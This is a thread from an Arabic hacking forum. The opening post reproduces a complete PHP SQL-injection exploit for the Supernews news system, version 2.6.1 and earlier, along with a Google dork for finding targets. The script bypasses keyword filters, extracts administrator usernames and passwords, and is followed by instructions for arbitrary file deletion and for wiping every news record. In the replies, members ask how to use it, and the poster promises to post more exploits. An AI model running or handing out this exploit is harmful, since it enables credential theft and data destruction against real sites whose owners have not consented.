ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }


النتائج 1 إلى 5 من 5

الموضوع: ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

  1. #1

    Gadid ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

    بسم الله الرحمن الرحيم




    كود PHP:
      <?php
    # Exploit Title: Supernews <= 2.6.1 SQL Injection Exploit
    # Google Dork: intext:"2003 - 2004 : SuperNews : Todos os direitos reservados"
    # Date: 2012/
    # Author: WhiteCollarGroup
    # Software Link: http://phpbrasil.com/script/vT0FaOCySSH/supernews
    # Version: 2.6.1
    # Tested on: Debian GNU/Linux
     
    /*
    Exploit for educational purpose only.
    Note sent to the developer Fernando Pontes by e-mail [email protected]
     
    SuperNews are a brazilian news system in PHP and MySQL.
    Versions priors to 2.6 have a simple SQL Injection on view news.
    The developer tried to fix the bug removing keywords like "union" and "select".
    But, with a recursion, it's possible to bypass this filters. See:
    seselectlect
    After removing "select" word, will stay another "select" word. See more:
    seSELECTlect
     
    Another SQL Injection on the administration panel:
    When deleting a post, you can inject SQL for delete all news on the database.
     
    Another vulnerability allows to delete files, on the administration panel:
    When deleting a post, a variable called "unlink" will talk to the system the new's image for delete.
    But it's possible to delete others files, typing all the file path or using "../".
     
    Usage:
    php exploit.php http://target.com/supernews/
     
    For more info about vulnerabilities:
    php exploit.php moreinfo
     
    Example:
    $ php exploit.php http://target.com/news/
     
    Supernews <= 2.6.1 SQL Injection Exploit
    Coded by WhiteCollarGroup - www.wcgroup.host56.com
    Use at your own risk.
     
     [*] Trying to access server...[*] Detecting version... :-o
    [!] Version: >2.6.1 :-)
    [!] Administration panel: http://target.com/news/admin/adm_noticias.php
    [i] Type "exploit.php moreinfo" for get others vulnerabilities.[*] Getting user & pass 8-]
    User: user1
    Pass: pass1
     
    User: user2
    Pass: pass2
     
    Good luck! :-D
     
    */
     
    error_reporting(E_ERROR);
    set_time_limit(0);
    @
    ini_set("default_socket_timeout"30);
     
    function 
    hex($string){
        
    $hex=''// PHP 'Dim' =]
        
    for ($i=0$i strlen($string); $i++){
            
    $hex .= dechex(ord($string[$i]));
        }
        return 
    '0x'.$hex;
    }
    function 
    str_replace_every_other($needle$replace$haystack$count=null$replace_first=true) {
        
    $count 0;
        
    $offset strpos($haystack$needle);
        
    //If we don't replace the first, go ahead and skip it
        
    if (!$replace_first) {
            
    $offset += strlen($needle);
            
    $offset strpos($haystack$needle$offset);
        }
        while (
    $offset !== false) {
            
    $haystack substr_replace($haystack$replace$offsetstrlen($needle));
            
    $count++;
            
    $offset += strlen($replace);
            
    $offset strpos($haystack$needle$offset);
            if (
    $offset !== false) {
                
    $offset += strlen($needle);
                
    $offset strpos($haystack$needle$offset);
            }
        }
        return 
    $haystack;
    }
    function 
    removeaddregex($str) {
      return 
    str_replace_every_other('(.*)'''$strnullfalse);
    }
    function 
    preg_quote_working($str) {
      
    $chars explode(" ""\ . + * ? [ ^ ] $ ( ) { } = ! < > | :");
      foreach(
    $chars as $char) {
        
    $str str_replace($char"\\".$char$str);
      }
      return 
    $str;
    }
     
    echo 
    "\nSupernews <= 2.6.1 SQL Injection Exploit";
    echo 
    "\nCoded by WhiteCollarGroup - www.wcgroup.host56.com\nUse at your own risk.\n\n";
     
    if(
    $argc!=2) {
      echo 
    "Usage:
    php 
    $argv[0] url
    Example:
    php 
    $argv[0] http://target.com/supernews
    php 
    $argv[0] https://target.com/supernews/";
      exit;
    }
     
    if(
    $argv[1]=="moreinfo") {
      echo 
    "\nMore vulnerabilities:
     - Deleting files
      You can delete files on the server, after login, using the URL:
       http://server.com/admin/adm_noticias.php?deleta=ID&unlink=FILE
      Replace \"ID\" with a valid post ID (will be deleted) and FILE with the file address on the server.
     
     - Deleting all news on the database:
      You can delete all news on the database with one request, only. Look:
       http://server.com/admin/adm_noticias.php?deleta=0%20or%201=1--+
     
      All vulnerabilities discovered by WCGroup.\n"
    ;
      exit;
    }
     
    $uri $argv[1];
    if(
    substr($uri, -11)!="/") {
      
    $uri .= "/";
    }
    $url $uri."noticias.php?noticia=".urlencode("-1")."+";
    echo 
    "\n[*] Trying to access server...";
    $accessvr = @file_get_contents($url);
    if((
    $accessvr==false) OR (preg_match("/(404|mysql_query)/"$accessvr))) {
      
    $url $uri."index.php?noticia=".urlencode("-1")."+";
    }
     
    $token substr(md5(chr(rand(48122))), 010);
     
    echo 
    "\n[*] Detecting version... :-o";
     
    $gettoken strip_tags(file_get_contents($url.urlencode("union all select 1,2,3,4,".hex($token).",6,7-- ")));
    if(
    preg_match("/".$token."/"$gettoken)) {
      echo 
    "\n[!] Version: >2.6.1 :-)";
      
    $version 1;
    } else {
      
    $gettoken strip_tags(file_get_contents($url.urlencode("uniunionon seleselectct 1,2,3,4,5,".hex($token).",7,8-- ")));
      if(
    preg_match("/".$token."/"$gettoken)) {
        echo 
    "\n[!] Version =2.6.1 :-)";
        
    $version 2;
      } else {
        echo 
    "\n[-] Unknown version :-S";
        
    $version 3;
      }
    }
    if(
    $version!=3) {
      echo 
    "\n[!] Administration panel: {$uri}admin/adm_noticias.php";
      echo 
    "\n[i] Type \"$argv[0] moreinfo\" for get others vulnerabilities.";
      echo 
    "\n[*] Getting user & pass 8-]";
    }
     
    if(
    $version==1) {
      
    $i 0;
      while(
    true) {
        
    $request strip_tags(file_get_contents($url.urlencode("union all select 1,2,3,4,concat(".hex($token).",user,".hex($token).",pass,".hex($token)."),6,7 from supernews_login limit $i,1-- ")));
        
    preg_match_all("/$token(.*)$token(.*)$token/"$request$get);
        if(
    $get[1][0]!="") {
          
    $user $get[1][0];
          
    $pass $get[2][0];
          echo 
    "\nUser: $user\nPass: $pass\n";
          
    $i++;
        } else {
          echo 
    "\nGood luck! :-D";
          break;
        }
      }
    }
    elseif(
    $version==2) {
      
    $i 0;
      while(
    true) {
        
    $request strip_tags(file_get_contents($url.urlencode("uniunionon seleselectct 1,2,3,4,5,concat(".hex($token).",user,".hex($token).",pass,".hex($token)."),7,8 from supernews_login limit $i,1-- ")));
        
    preg_match_all("/$token(.*)$token(.*)$token/"$request$get);
        if(
    $get[1][0]!="") {
          
    $user $get[1][0];
          
    $pass $get[2][0];
          echo 
    "\nUser: $user\nPass: $pass\n";
          
    $i++;
        } else {
          echo 
    "\nGood luck! :-D";
          break;
        }
      }
    }
    else {
      echo 
    "\n\nThis site are using an unknown version of Supernews or another CMS.";
      echo 
    "\nPlease note that only versions <= 2.6.1 of Supernews are vulnerable.";
      echo 
    "\nWebservers with modules or firewalls like \"mod_security\" aren't vulnerables.";
      echo 
    "\nIf you want, try to access manually:";
      echo 
    "\nThe vulnerability are on view notice file (index.php or noticia.php), in variable \"noticia\", a simple SQL Injection.";
      echo 
    "\nWe're sorry.";
    }
     
    echo 
    "\n";
    رابط الثغره : http://www.exploit-db.com/exploits/18913



    تحياتي


  2. #2

    افتراضي رد: ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

    اخوي بالله عطنا طريقه الاستغلال تكفى

  3. #3

    افتراضي رد: ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

    حظكـ حلووو ابي اعطيك الاستغلال بأختصار

    اما أطريقه أعذرني ابيها من اجتهادك
    """""""""""""""""""""""""""""""""""""""""""""""""" """"""""

    Supernews <= 2.6.1 SQL Injection Exploit
    Coded by WhiteCollarGroup - www.wcgroup.host56.com
    Use at your own risk.

    Usage:
    Supernews.php url
    Example:
    http://target.com/supernews
    https://target.com/supernews/
    """"""""""""""""""""""""""""""""""
    تحياتي


  4. #4
    :: مشرف قسم الباك تراك :: الصورة الرمزية يارب رحمتك
    تاريخ التسجيل
    May 2012
    الدولة
    روح العرب
    المشاركات
    1,147

    افتراضي رد: ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

    كل الشكر والتقدير لك سوء كنت صاحب الموضوع او ناقلة ...
    ولكن لو تكرمت علينا بروابط الشرح : وانا مقدر تفكيرك انك عايز اللى بيشتغل على الثغرة يكون شغلها من نفسو :9-

    ولكن اغلب الاعضاء مستجدين محتاجين تمهيد :- وهذة فقط وجهة نظرا :-

    بآلتوفيق عزيزى ...


    youtube

    [ما يلفظ من قول الا لديه رقيب عتيد]
    [ آفعل مآ شئت فكمآ تديُن تدآن ]

    hacker ▎security ▎no Breach>>
    [ mohamed -kareb ]


  5. #5

    افتراضي رد: ثغره جديده { Supernews <= 2.6.1 SQL Injection Exploit }

    كل الشكر والتقدير لك سوء كنت صاحب الموضوع او ناقلة ...
    ولكن لو تكرمت علينا بروابط الشرح : وانا مقدر تفكيرك انك عايز اللى بيشتغل على الثغرة يكون شغلها من نفسو :9-

    ولكن اغلب الاعضاء مستجدين محتاجين تمهيد :- وهذة فقط وجهة نظرا :-

    بآلتوفيق عزيزى ...
    ربي يعطيكـ العافيه على مرووركـ
    وطرح إستفسراتكـ الرائعه

    أحب أن أوجيبك .
    أنآ اهتم كثير الاهتمام على الاخطأ البرمجية
    وأتابع أول بأول الاخطأ و الثغرات .
    ولا أريد أن ابخل عليكم
    يعني بختصار
    أي شي جديد بناحية الثغرات سوف أضعه في قسم الثغرات

    تحياتي

المواضيع المتشابهه

  1. ثغره جديده { Galette (picture.php) SQL Injection Vulnerability }
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 3
    آخر مشاركة: 05-24-2012, 09:36 AM
  2. ثغره جديده { FreeNAC version 3.02 SQL Injection and XSS Vulnerabilties }
    بواسطة اخلاقي تاج راسي في المنتدى قسم الثغرات
    مشاركات: 0
    آخر مشاركة: 05-20-2012, 02:45 AM
  3. exploit شرح استخراج ثغره المتصفح
    بواسطة Dr.a7 في المنتدى قسم المشاكل والإستفسارات
    مشاركات: 3
    آخر مشاركة: 03-03-2012, 11:41 PM

المفضلات

أذونات المشاركة

  • لا تستطيع إضافة مواضيع جديدة
  • لا تستطيع الرد على المواضيع
  • لا تستطيع إرفاق ملفات
  • لا تستطيع تعديل مشاركاتك
  •